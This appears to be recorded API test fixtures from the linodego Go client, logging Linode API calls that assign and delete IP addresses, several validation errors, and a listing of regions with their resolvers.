X-Ratelimit-Limit: - "1600" status: 400 Bad Request code: 400 duration: "" - request: body: '{"type":"ipv4","public":true,"region":"ap-west","linode_id":68361125}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips method: POST response: body: '{"address": "194.195.115.71", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-71.ip.linodeusercontent.com", "linode_id": 68361125, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "270" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361125/ips/194.195.115.71 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":true,"region":"ap-west","linode_id":68361125}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips method: POST response: body: '{"address": "194.195.115.79", "gateway": "194.195.115.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-115-79.ip.linodeusercontent.com", "linode_id": 68361125, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "270" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361125/ips/194.195.115.79 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":true,"region":"ap-west"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips method: POST response: body: '{"errors": [{"reason": "Linode is a required argument when not reserving an IP address.", "field": "linode_id"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "113" Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:10 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" status: 400 Bad Request code: 400 duration: "" - request: body: '{"type":"ipv4","public":true,"region":"ap-west"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips method: POST response: body: '{"errors": [{"reason": "Linode is a required argument when not reserving an IP address.", "field": "linode_id"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "113" Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:10 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" status: 400 Bad Request code: 400 duration: "" - request: body: '{"type":"ipv6","public":true,"reserved":true,"region":"ap-west","linode_id":68361125}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips method: POST response: body: '{"errors": [{"reason": "Only addresses of type ipv4 are currently supported."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "80" Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:11 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" status: 400 Bad Request code: 400 duration: "" - request: body: '{"type":"ipv6","public":true,"region":"ap-west","linode_id":68361125}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips method: POST response: body: '{"errors": [{"reason": "Only addresses of type ipv4 are currently supported."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "80" Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:11 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" status: 400 Bad Request code: 400 duration: "" - request: body: '{"type":"ipv4","public":true,"reserved":true,"region":"us-west","linode_id":68361125}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips method: POST response: body: '{"errors": [{"reason": "Region passed in must match Linode''s region.", "field": "region"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "91" Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:11 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361125 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:18:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestIPAddress_Instance_Assign.yaml000066400000000000000000001214321474652371000332610ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 